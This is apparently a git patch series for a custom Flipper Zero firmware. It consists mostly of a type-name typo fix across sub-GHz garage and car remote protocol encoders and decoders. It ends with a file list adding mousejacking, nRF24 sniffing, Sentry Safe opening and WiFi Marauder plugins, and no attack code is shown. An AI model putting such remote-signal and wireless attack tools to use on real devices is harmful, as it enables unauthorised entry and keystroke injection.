subghz_protocol_decoder_nero_radio_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** * Deserialize data SubGhzProtocolDecoderNeroRadio. diff --git a/lib/subghz/protocols/nero_sketch.c b/lib/subghz/protocols/nero_sketch.c index a4e9f2cfb..461bbcea2 100644 --- a/lib/subghz/protocols/nero_sketch.c +++ b/lib/subghz/protocols/nero_sketch.c @@ -327,7 +327,7 @@ uint8_t subghz_protocol_decoder_nero_sketch_get_hash_data(void* context) { bool subghz_protocol_decoder_nero_sketch_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { furi_assert(context); SubGhzProtocolDecoderNeroSketch* instance = context; return subghz_block_generic_serialize(&instance->generic, flipper_format, preset); diff --git a/lib/subghz/protocols/nero_sketch.h b/lib/subghz/protocols/nero_sketch.h index af93a9d9a..ab592b48e 100644 --- a/lib/subghz/protocols/nero_sketch.h +++ b/lib/subghz/protocols/nero_sketch.h @@ -83,13 +83,13 @@ uint8_t subghz_protocol_decoder_nero_sketch_get_hash_data(void* context); * Serialize data SubGhzProtocolDecoderNeroSketch. * @param context Pointer to a SubGhzProtocolDecoderNeroSketch instance * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzPesetDefinition + * @param preset The modulation on which the signal was received, SubGhzPresetDefinition * @return true On success */ bool subghz_protocol_decoder_nero_sketch_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** * Deserialize data SubGhzProtocolDecoderNeroSketch. diff --git a/lib/subghz/protocols/nice_flo.c b/lib/subghz/protocols/nice_flo.c index 1b8e03088..4c4ede933 100644 --- a/lib/subghz/protocols/nice_flo.c +++ b/lib/subghz/protocols/nice_flo.c @@ -277,7 +277,7 @@ uint8_t subghz_protocol_decoder_nice_flo_get_hash_data(void* context) { bool subghz_protocol_decoder_nice_flo_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { furi_assert(context); SubGhzProtocolDecoderNiceFlo* instance = context; return subghz_block_generic_serialize(&instance->generic, flipper_format, preset); diff --git a/lib/subghz/protocols/nice_flo.h b/lib/subghz/protocols/nice_flo.h index f7d48dfa7..0873e81b9 100644 --- a/lib/subghz/protocols/nice_flo.h +++ b/lib/subghz/protocols/nice_flo.h @@ -83,13 +83,13 @@ uint8_t subghz_protocol_decoder_nice_flo_get_hash_data(void* context); * Serialize data SubGhzProtocolDecoderNiceFlo. * @param context Pointer to a SubGhzProtocolDecoderNiceFlo instance * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzPesetDefinition + * @param preset The modulation on which the signal was received, SubGhzPresetDefinition * @return true On success */ bool subghz_protocol_decoder_nice_flo_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** * Deserialize data SubGhzProtocolDecoderNiceFlo. diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index 2e4e0867d..247b02f5e 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -493,7 +493,7 @@ uint8_t subghz_protocol_decoder_nice_flor_s_get_hash_data(void* context) { bool subghz_protocol_decoder_nice_flor_s_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { furi_assert(context); SubGhzProtocolDecoderNiceFlorS* instance = context; return subghz_block_generic_serialize(&instance->generic, flipper_format, preset); diff --git a/lib/subghz/protocols/nice_flor_s.h b/lib/subghz/protocols/nice_flor_s.h index 35107f327..6988846e4 100644 --- a/lib/subghz/protocols/nice_flor_s.h +++ b/lib/subghz/protocols/nice_flor_s.h @@ -85,13 +85,13 @@ uint8_t subghz_protocol_decoder_nice_flor_s_get_hash_data(void* context); * Serialize data SubGhzProtocolDecoderNiceFlorS. * @param context Pointer to a SubGhzProtocolDecoderNiceFlorS instance * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzPesetDefinition + * @param preset The modulation on which the signal was received, SubGhzPresetDefinition * @return true On success */ bool subghz_protocol_decoder_nice_flor_s_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** * Deserialize data SubGhzProtocolDecoderNiceFlorS. diff --git a/lib/subghz/protocols/power_smart.c b/lib/subghz/protocols/power_smart.c index 3c356ff88..df8eb4fd1 100644 --- a/lib/subghz/protocols/power_smart.c +++ b/lib/subghz/protocols/power_smart.c @@ -345,7 +345,7 @@ uint8_t subghz_protocol_decoder_power_smart_get_hash_data(void* context) { bool subghz_protocol_decoder_power_smart_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { furi_assert(context); SubGhzProtocolDecoderPowerSmart* instance = context; return subghz_block_generic_serialize(&instance->generic, flipper_format, preset); diff --git a/lib/subghz/protocols/power_smart.h b/lib/subghz/protocols/power_smart.h index e6445ca46..f6e9571b1 100644 --- a/lib/subghz/protocols/power_smart.h +++ b/lib/subghz/protocols/power_smart.h @@ -83,13 +83,13 @@ uint8_t subghz_protocol_decoder_power_smart_get_hash_data(void* context); * Serialize data SubGhzProtocolDecoderPowerSmart. * @param context Pointer to a SubGhzProtocolDecoderPowerSmart instance * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzPesetDefinition + * @param preset The modulation on which the signal was received, SubGhzPresetDefinition * @return true On success */ bool subghz_protocol_decoder_power_smart_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** * Deserialize data SubGhzProtocolDecoderPowerSmart. diff --git a/lib/subghz/protocols/princeton.c b/lib/subghz/protocols/princeton.c index ce34d32cf..b283d273b 100644 --- a/lib/subghz/protocols/princeton.c +++ b/lib/subghz/protocols/princeton.c @@ -300,7 +300,7 @@ uint8_t subghz_protocol_decoder_princeton_get_hash_data(void* context) { bool subghz_protocol_decoder_princeton_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { furi_assert(context); SubGhzProtocolDecoderPrinceton* instance = context; bool res = subghz_block_generic_serialize(&instance->generic, flipper_format, preset); diff --git a/lib/subghz/protocols/princeton.h b/lib/subghz/protocols/princeton.h index fb126f2df..9c296c4a1 100644 --- a/lib/subghz/protocols/princeton.h +++ b/lib/subghz/protocols/princeton.h @@ -83,13 +83,13 @@ uint8_t subghz_protocol_decoder_princeton_get_hash_data(void* context); * Serialize data SubGhzProtocolDecoderPrinceton. * @param context Pointer to a SubGhzProtocolDecoderPrinceton instance * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzPesetDefinition + * @param preset The modulation on which the signal was received, SubGhzPresetDefinition * @return true On success */ bool subghz_protocol_decoder_princeton_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** * Deserialize data SubGhzProtocolDecoderPrinceton. diff --git a/lib/subghz/protocols/raw.c b/lib/subghz/protocols/raw.c index 92f20438a..ec4ed41f4 100644 --- a/lib/subghz/protocols/raw.c +++ b/lib/subghz/protocols/raw.c @@ -83,7 +83,7 @@ const SubGhzProtocol subghz_protocol_raw = { bool subghz_protocol_raw_save_to_file_init( SubGhzProtocolDecoderRAW* instance, const char* dev_name, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { furi_assert(instance); instance->storage = furi_record_open(RECORD_STORAGE); diff --git a/lib/subghz/protocols/raw.h b/lib/subghz/protocols/raw.h index a6435d335..5d6bb084e 100644 --- a/lib/subghz/protocols/raw.h +++ b/lib/subghz/protocols/raw.h @@ -17,13 +17,13 @@ extern const SubGhzProtocol subghz_protocol_raw; * Open file for writing * @param instance Pointer to a SubGhzProtocolDecoderRAW instance * @param dev_name File name - * @param preset The modulation on which the signal was received, SubGhzPesetDefinition + * @param preset The modulation on which the signal was received, SubGhzPresetDefinition * @return true On success */ bool subghz_protocol_raw_save_to_file_init( SubGhzProtocolDecoderRAW* instance, const char* dev_name, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** * Stop writing file to flash diff --git a/lib/subghz/protocols/scher_khan.c b/lib/subghz/protocols/scher_khan.c index 97337f075..1c044e9db 100644 --- a/lib/subghz/protocols/scher_khan.c +++ b/lib/subghz/protocols/scher_khan.c @@ -251,7 +251,7 @@ uint8_t subghz_protocol_decoder_scher_khan_get_hash_data(void* context) { bool subghz_protocol_decoder_scher_khan_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { furi_assert(context); SubGhzProtocolDecoderScherKhan* instance = context; return subghz_block_generic_serialize(&instance->generic, flipper_format, preset); diff --git a/lib/subghz/protocols/scher_khan.h b/lib/subghz/protocols/scher_khan.h index b22e89343..391ccc414 100644 --- a/lib/subghz/protocols/scher_khan.h +++ b/lib/subghz/protocols/scher_khan.h @@ -49,13 +49,13 @@ uint8_t subghz_protocol_decoder_scher_khan_get_hash_data(void* context); * Serialize data SubGhzProtocolDecoderScherKhan. * @param context Pointer to a SubGhzProtocolDecoderScherKhan instance * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzPesetDefinition + * @param preset The modulation on which the signal was received, SubGhzPresetDefinition * @return true On success */ bool subghz_protocol_decoder_scher_khan_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** * Deserialize data SubGhzProtocolDecoderScherKhan. diff --git a/lib/subghz/protocols/secplus_v1.c b/lib/subghz/protocols/secplus_v1.c index 2adee0243..ea07e08d8 100644 --- a/lib/subghz/protocols/secplus_v1.c +++ b/lib/subghz/protocols/secplus_v1.c @@ -515,7 +515,7 @@ uint8_t subghz_protocol_decoder_secplus_v1_get_hash_data(void* context) { bool subghz_protocol_decoder_secplus_v1_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { furi_assert(context); SubGhzProtocolDecoderSecPlus_v1* instance = context; return subghz_block_generic_serialize(&instance->generic, flipper_format, preset); diff --git a/lib/subghz/protocols/secplus_v1.h b/lib/subghz/protocols/secplus_v1.h index 5447e3f84..8ae1c0cb2 100644 --- a/lib/subghz/protocols/secplus_v1.h +++ b/lib/subghz/protocols/secplus_v1.h @@ -82,13 +82,13 @@ uint8_t subghz_protocol_decoder_secplus_v1_get_hash_data(void* context); * Serialize data SubGhzProtocolDecoderSecPlus_v1. * @param context Pointer to a SubGhzProtocolDecoderSecPlus_v1 instance * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzPesetDefinition + * @param preset The modulation on which the signal was received, SubGhzPresetDefinition * @return true On success */ bool subghz_protocol_decoder_secplus_v1_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** * Deserialize data SubGhzProtocolDecoderSecPlus_v1. diff --git a/lib/subghz/protocols/secplus_v2.c b/lib/subghz/protocols/secplus_v2.c index 82853a3b8..6d159d4a2 100644 --- a/lib/subghz/protocols/secplus_v2.c +++ b/lib/subghz/protocols/secplus_v2.c @@ -588,7 +588,7 @@ bool subghz_protocol_secplus_v2_create_data( uint32_t serial, uint8_t btn, uint32_t cnt, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { furi_assert(context); SubGhzProtocolEncoderSecPlus_v2* instance = context; instance->generic.serial = serial; @@ -755,7 +755,7 @@ uint8_t subghz_protocol_decoder_secplus_v2_get_hash_data(void* context) { bool subghz_protocol_decoder_secplus_v2_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { furi_assert(context); SubGhzProtocolDecoderSecPlus_v2* instance = context; bool res = subghz_block_generic_serialize(&instance->generic, flipper_format, preset); diff --git a/lib/subghz/protocols/secplus_v2.h b/lib/subghz/protocols/secplus_v2.h index 43bce6293..9e9ae2a7d 100644 --- a/lib/subghz/protocols/secplus_v2.h +++ b/lib/subghz/protocols/secplus_v2.h @@ -52,7 +52,7 @@ LevelDuration subghz_protocol_encoder_secplus_v2_yield(void* context); * @param btn Button number, 8 bit * @param cnt Container value, 28 bit * @param manufacture_name Name of manufacturer's key - * @param preset Modulation, SubGhzPesetDefinition + * @param preset Modulation, SubGhzPresetDefinition * @return true On success */ bool subghz_protocol_secplus_v2_create_data( @@ -61,7 +61,7 @@ bool subghz_protocol_secplus_v2_create_data( uint32_t serial, uint8_t btn, uint32_t cnt, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** * Allocate SubGhzProtocolDecoderSecPlus_v2. @@ -101,13 +101,13 @@ uint8_t subghz_protocol_decoder_secplus_v2_get_hash_data(void* context); * Serialize data SubGhzProtocolDecoderSecPlus_v2. * @param context Pointer to a SubGhzProtocolDecoderSecPlus_v2 instance * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzPesetDefinition + * @param preset The modulation on which the signal was received, SubGhzPresetDefinition * @return true On success */ bool subghz_protocol_decoder_secplus_v2_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** * Deserialize data SubGhzProtocolDecoderSecPlus_v2. diff --git a/lib/subghz/protocols/somfy_keytis.c b/lib/subghz/protocols/somfy_keytis.c index d2df9effd..a66c704ff 100644 --- a/lib/subghz/protocols/somfy_keytis.c +++ b/lib/subghz/protocols/somfy_keytis.c @@ -382,7 +382,7 @@ uint8_t subghz_protocol_decoder_somfy_keytis_get_hash_data(void* context) { bool subghz_protocol_decoder_somfy_keytis_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { furi_assert(context); SubGhzProtocolDecoderSomfyKeytis* instance = context; bool res = subghz_block_generic_serialize(&instance->generic, flipper_format, preset); diff --git a/lib/subghz/protocols/somfy_keytis.h b/lib/subghz/protocols/somfy_keytis.h index 46193994d..29f96cd6a 100644 --- a/lib/subghz/protocols/somfy_keytis.h +++ b/lib/subghz/protocols/somfy_keytis.h @@ -49,13 +49,13 @@ uint8_t subghz_protocol_decoder_somfy_keytis_get_hash_data(void* context); * Serialize data SubGhzProtocolDecoderSomfyKeytis. * @param context Pointer to a SubGhzProtocolDecoderSomfyKeytis instance * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzPesetDefinition + * @param preset The modulation on which the signal was received, SubGhzPresetDefinition * @return true On success */ bool subghz_protocol_decoder_somfy_keytis_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** * Deserialize data SubGhzProtocolDecoderSomfyKeytis. diff --git a/lib/subghz/protocols/somfy_telis.c b/lib/subghz/protocols/somfy_telis.c index 039cb8eeb..a6a348abb 100644 --- a/lib/subghz/protocols/somfy_telis.c +++ b/lib/subghz/protocols/somfy_telis.c @@ -339,7 +339,7 @@ uint8_t subghz_protocol_decoder_somfy_telis_get_hash_data(void* context) { bool subghz_protocol_decoder_somfy_telis_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { furi_assert(context); SubGhzProtocolDecoderSomfyTelis* instance = context; return subghz_block_generic_serialize(&instance->generic, flipper_format, preset); diff --git a/lib/subghz/protocols/somfy_telis.h b/lib/subghz/protocols/somfy_telis.h index ce4747694..ff5b45e23 100644 --- a/lib/subghz/protocols/somfy_telis.h +++ b/lib/subghz/protocols/somfy_telis.h @@ -49,13 +49,13 @@ uint8_t subghz_protocol_decoder_somfy_telis_get_hash_data(void* context); * Serialize data SubGhzProtocolDecoderSomfyTelis. * @param context Pointer to a SubGhzProtocolDecoderSomfyTelis instance * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzPesetDefinition + * @param preset The modulation on which the signal was received, SubGhzPresetDefinition * @return true On success */ bool subghz_protocol_decoder_somfy_telis_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** * Deserialize data SubGhzProtocolDecoderSomfyTelis. diff --git a/lib/subghz/protocols/star_line.c b/lib/subghz/protocols/star_line.c index f841a8407..53c688c1a 100644 --- a/lib/subghz/protocols/star_line.c +++ b/lib/subghz/protocols/star_line.c @@ -193,7 +193,7 @@ bool subghz_protocol_star_line_create_data( uint8_t btn, uint16_t cnt, const char* manufacture_name, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { furi_assert(context); SubGhzProtocolEncoderStarLine* instance = context; instance->generic.serial = serial; @@ -670,7 +670,7 @@ uint8_t subghz_protocol_decoder_star_line_get_hash_data(void* context) { bool subghz_protocol_decoder_star_line_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset) { + SubGhzPresetDefinition* preset) { furi_assert(context); SubGhzProtocolDecoderStarLine* instance = context; subghz_protocol_star_line_check_remote_controller( diff --git a/lib/subghz/protocols/star_line.h b/lib/subghz/protocols/star_line.h index d0ff6468c..cc0be8501 100644 --- a/lib/subghz/protocols/star_line.h +++ b/lib/subghz/protocols/star_line.h @@ -36,7 +36,7 @@ void subghz_protocol_encoder_star_line_free(void* context); * @param btn Button number, 8 bit * @param cnt Counter value, 16 bit * @param manufacture_name Name of manufacturer's key - * @param preset Modulation, SubGhzPesetDefinition + * @param preset Modulation, SubGhzPresetDefinition * @return true On success */ bool subghz_protocol_star_line_create_data( @@ -46,7 +46,7 @@ bool subghz_protocol_star_line_create_data( uint8_t btn, uint16_t cnt, const char* manufacture_name, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** * Deserialize and generating an upload to send. @@ -107,13 +107,13 @@ uint8_t subghz_protocol_decoder_star_line_get_hash_data(void* context); * Serialize data SubGhzProtocolDecoderStarLine. * @param context Pointer to a SubGhzProtocolDecoderStarLine instance * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzPesetDefinition + * @param preset The modulation on which the signal was received, SubGhzPresetDefinition * @return true On success */ bool subghz_protocol_decoder_star_line_serialize( void* context, FlipperFormat* flipper_format, - SubGhzPesetDefinition* preset); + SubGhzPresetDefinition* preset); /** * Deserialize data SubGhzProtocolDecoderStarLine. diff --git a/lib/subghz/types.h b/lib/subghz/types.h index 41a04cb15..e4d1cea98 100644 --- a/lib/subghz/types.h +++ b/lib/subghz/types.h @@ -32,7 +32,7 @@ typedef void (*SubGhzFree)(void* context); // Serialize and Deserialize typedef bool ( - *SubGhzSerialize)(void* context, FlipperFormat* flipper_format, SubGhzPesetDefinition* preset); + *SubGhzSerialize)(void* context, FlipperFormat* flipper_format, SubGhzPresetDefinition* preset); typedef bool (*SubGhzDeserialize)(void* context, FlipperFormat* flipper_format); // Decoder specific From 2c5ee3fcc067631bcf98db78afa1cbfd235cfd69 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 25 Jul 2022 13:57:43 +0300 Subject: [PATCH 406/461] Revert "Merge pull request #31 from 0wlyW00d/patch-2" This reverts commit ce48618f8f7dcd3eca981e27966dfe50242eb3ff. --- docker-compose.yml | 1 - 1 file changed, 1 deletion(-) diff --git a/docker-compose.yml b/docker-compose.yml index d717b3aa2..39aca411a 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -1,7 +1,6 @@ version: '3' services: dev: - platform: linux/x86_64 image: flipperdevices/flipperzero-toolchain network_mode: host privileged: true From ee00ba5269aff0085282d4ca7d9de6507942ab97 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Thu, 28 Jul 2022 18:32:15 +0300 Subject: [PATCH 407/461] update changelog --- CHANGELOG.md | 11 ++--------- 1 file changed, 2 insertions(+), 9 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 9dff3f962..2f6cd2f7e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,13 +1,6 @@ ### New changes -* OFW: nfc: NTAG203 support -* OFW: NFC new design -* OFW: Allow spaces in file name -* OFW: Fix incorrect IR remote renaming behaviour -* OFW: Buffered file streams -* OFW: SubGhz: bugfixes and add support for loading custom presets -* OFW: updater: fixed dolphin level not being migrated -* OFW: GUI changes & fixes -* OFW: Other changes +* OFW: NFC fixes +* OFW: Infrared.c: Dont Close GUI 2 times - [!!!] Replace your subghz/assets/setting_user with file from `sd-card-(version).zip` because file format has been changed From 6b2f8389f148db092687928847f8c520e1a76261 Mon Sep 17 00:00:00 2001 From: Denys Andriushchenko Date: Thu, 28 Jul 2022 20:45:33 +0300 Subject: [PATCH 408/461] Update HowToInstall.md --- documentation/HowToInstall.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/HowToInstall.md b/documentation/HowToInstall.md index 90038d41f..2408f7e93 100644 --- a/documentation/HowToInstall.md +++ b/documentation/HowToInstall.md @@ -6,7 +6,7 @@

-### **If installng for first time - Update to the latest official firmware before proceeding** +### **If installing for first time - Update to the latest official firmware before proceeding**

From 6552b4ea75b3e5d2f95db1f523fc5dfa3e99cedb Mon Sep 17 00:00:00 2001 From: Denys Andriushchenko Date: Thu, 28 Jul 2022 20:58:02 +0300 Subject: [PATCH 409/461] Update HowToInstall.md --- documentation/HowToInstall.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/HowToInstall.md b/documentation/HowToInstall.md index 2408f7e93..c073ee7de 100644 --- a/documentation/HowToInstall.md +++ b/documentation/HowToInstall.md @@ -18,7 +18,7 @@ - You should find folder named `f7-update-(CURRENT VERSION)` that contains files like `update.fuf`, `resources.tar` and etc.. - Remove microSD card from flipper and insert it into PC or smartphone (you can skip this step and upload all files using qFlipper) - Create new folder `update` on the root of the microSD card and move folder that you previously extracted from archive - `f7-update-(CURRENT VERSION)` into `update` on microSD card -- So result should look like `update/f7-update-(CURRENT VERSION)/` with all files in this folder on microSD card, remember iOS default Files app doesnt show all files properly (3 instead of 6), so you need to use another app for unpacking or use PC or Android +- So result should look like `update/f7-update-(CURRENT VERSION)/` with all files in this folder on microSD card, remember iOS default Files app doesn't show all files properly (3 instead of 6), so you need to use another app for unpacking or use PC or Android - Verify that all files are present on your microSD card - After all you need to insert microSD card back into flipper, navigate into filebrowser, open this file `update/f7-update-(CURRENT VERSION)/update.fuf` From f4cc9e5de70dd431a6023542ecb004e020679a3e Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Fri, 29 Jul 2022 17:48:51 +0300 Subject: [PATCH 410/461] plugins & badusb if author want their plugin to be removed - create issue, thanks --- applications/bad_usb/bad_usb_script.c | 64 ++- .../barcode_generator/application.fam | 13 + .../barcode_generator/barcode_generator.c | 544 ++++++++++++++++++ applications/hid_analyzer/application.fam | 9 + .../hid_analyzer/helpers/decoder_hid.cpp | 98 ++++ .../hid_analyzer/helpers/decoder_hid.h | 24 + .../hid_analyzer/helpers/hid_reader.cpp | 143 +++++ .../hid_analyzer/helpers/hid_reader.h | 47 ++ .../hid_analyzer/helpers/hid_worker.cpp | 38 ++ .../hid_analyzer/helpers/hid_worker.h | 21 + applications/hid_analyzer/helpers/key_info.h | 16 + applications/hid_analyzer/helpers/osc_fsk.h | 30 + .../helpers/protocols/protocol_generic.h | 60 ++ .../helpers/protocols/protocol_hid.cpp | 155 +++++ .../helpers/protocols/protocol_hid.h | 25 + .../hid_analyzer/helpers/pulse_joiner.h | 36 ++ applications/hid_analyzer/helpers/rfid_key.h | 27 + .../helpers/rfid_timer_emulator.h | 29 + .../hid_analyzer/helpers/rfid_writer.h | 20 + .../hid_analyzer/helpers/state_sequencer.h | 25 + .../hid_analyzer/hid_analyzer_app.cpp | 22 + applications/hid_analyzer/hid_analyzer_app.h | 65 +++ .../hid_analyzer_app_launcher.cpp | 10 + .../scene/hid_analyzer_app_scene_read.cpp | 40 ++ .../scene/hid_analyzer_app_scene_read.h | 9 + .../hid_analyzer_app_scene_read_success.cpp | 78 +++ .../hid_analyzer_app_scene_read_success.h | 14 + applications/hid_analyzer/view/container_vm.h | 17 + .../view/elements/button_element.h | 28 + .../view/elements/generic_element.h | 21 + .../hid_analyzer/view/elements/icon_element.h | 17 + .../view/elements/string_element.h | 28 + applications/meta/application.fam | 6 + applications/mousejacker/application.fam | 13 + applications/mousejacker/mousejacker.c | 352 ++++++++++++ applications/mousejacker/mousejacker_ducky.c | 355 ++++++++++++ applications/mousejacker/mousejacker_ducky.h | 31 + applications/nrfsniff/application.fam | 10 + applications/nrfsniff/nrfsniff.c | 415 +++++++++++++ applications/sentry_safe/application.fam | 10 + applications/sentry_safe/sentry_safe.c | 166 ++++++ .../wifi_marauder_companion/application.fam | 10 + .../scenes/wifi_marauder_scene.c | 30 + .../scenes/wifi_marauder_scene.h | 29 + .../scenes/wifi_marauder_scene_config.h | 3 + .../wifi_marauder_scene_console_output.c | 77 +++ .../scenes/wifi_marauder_scene_start.c | 105 ++++ .../scenes/wifi_marauder_scene_text_input.c | 54 ++ .../wifi_marauder_app.c | 96 ++++ .../wifi_marauder_app.h | 11 + .../wifi_marauder_app_i.h | 65 +++ .../wifi_marauder_custom_event.h | 7 + .../wifi_marauder_uart.c | 97 ++++ .../wifi_marauder_uart.h | 12 + assets/resources/Manifest | 3 +- .../subghz/assets/dangerous_settings | 2 + documentation/BarcodeGenerator.md | 15 + documentation/NRF24.md | 48 ++ documentation/SentrySafe.md | 17 + .../targets/f7/furi_hal/furi_hal_subghz.c | 43 +- .../furi_hal_include/furi_hal_usb_hid.h | 481 +++++++++++++++- lib/drivers/nrf24.c | 513 +++++++++++++++++ lib/drivers/nrf24.h | 368 ++++++++++++ 63 files changed, 5187 insertions(+), 30 deletions(-) create mode 100644 applications/barcode_generator/application.fam create mode 100644 applications/barcode_generator/barcode_generator.c create mode 100644 applications/hid_analyzer/application.fam create mode 100644 applications/hid_analyzer/helpers/decoder_hid.cpp create mode 100644 applications/hid_analyzer/helpers/decoder_hid.h create mode 100644 applications/hid_analyzer/helpers/hid_reader.cpp create mode 100644 applications/hid_analyzer/helpers/hid_reader.h create mode 100644 applications/hid_analyzer/helpers/hid_worker.cpp create mode 100644 applications/hid_analyzer/helpers/hid_worker.h create mode 100644 applications/hid_analyzer/helpers/key_info.h create mode 100644 applications/hid_analyzer/helpers/osc_fsk.h create mode 100644 applications/hid_analyzer/helpers/protocols/protocol_generic.h create mode 100644 applications/hid_analyzer/helpers/protocols/protocol_hid.cpp create mode 100644 applications/hid_analyzer/helpers/protocols/protocol_hid.h create mode 100644 applications/hid_analyzer/helpers/pulse_joiner.h create mode 100644 applications/hid_analyzer/helpers/rfid_key.h create mode 100644 applications/hid_analyzer/helpers/rfid_timer_emulator.h create mode 100644 applications/hid_analyzer/helpers/rfid_writer.h create mode 100644 applications/hid_analyzer/helpers/state_sequencer.h create mode 100644 applications/hid_analyzer/hid_analyzer_app.cpp create mode 100644 applications/hid_analyzer/hid_analyzer_app.h create mode 100644 applications/hid_analyzer/hid_analyzer_app_launcher.cpp create mode 100644 applications/hid_analyzer/scene/hid_analyzer_app_scene_read.cpp create mode 100644 applications/hid_analyzer/scene/hid_analyzer_app_scene_read.h create mode 100644 applications/hid_analyzer/scene/hid_analyzer_app_scene_read_success.cpp create mode 100644 applications/hid_analyzer/scene/hid_analyzer_app_scene_read_success.h create mode 100644 applications/hid_analyzer/view/container_vm.h create mode 100644 applications/hid_analyzer/view/elements/button_element.h create mode 100644 applications/hid_analyzer/view/elements/generic_element.h create mode 100644 applications/hid_analyzer/view/elements/icon_element.h create mode 100644 applications/hid_analyzer/view/elements/string_element.h create mode 100644 applications/mousejacker/application.fam create mode 100644 applications/mousejacker/mousejacker.c create mode 100644 applications/mousejacker/mousejacker_ducky.c create mode 100644 applications/mousejacker/mousejacker_ducky.h create mode 100644 applications/nrfsniff/application.fam create mode 100644 applications/nrfsniff/nrfsniff.c create mode 100644 applications/sentry_safe/application.fam create mode 100644 applications/sentry_safe/sentry_safe.c create mode 100644 applications/wifi_marauder_companion/application.fam create mode 100644 applications/wifi_marauder_companion/scenes/wifi_marauder_scene.c create mode 100644 applications/wifi_marauder_companion/scenes/wifi_marauder_scene.h create mode 100644 applications/wifi_marauder_companion/scenes/wifi_marauder_scene_config.h create mode 100644 applications/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c create mode 100644 applications/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c create mode 100644 applications/wifi_marauder_companion/scenes/wifi_marauder_scene_text_input.c create mode 100644 applications/wifi_marauder_companion/wifi_marauder_app.c create mode 100644 applications/wifi_marauder_companion/wifi_marauder_app.h create mode 100644 applications/wifi_marauder_companion/wifi_marauder_app_i.h create mode 100644 applications/wifi_marauder_companion/wifi_marauder_custom_event.h create mode 100644 applications/wifi_marauder_companion/wifi_marauder_uart.c create mode 100644 applications/wifi_marauder_companion/wifi_marauder_uart.h create mode 100644 assets/resources/subghz/assets/dangerous_settings create mode 100644 documentation/BarcodeGenerator.md create mode 100644 documentation/NRF24.md create mode 100644 documentation/SentrySafe.md create mode 100644 lib/drivers/nrf24.c create mode 100644 lib/drivers/nrf24.h diff --git a/applications/bad_usb/bad_usb_script.c b/applications/bad_usb/bad_usb_script.c index 9d9d3e397..8a35650fa 100644 --- 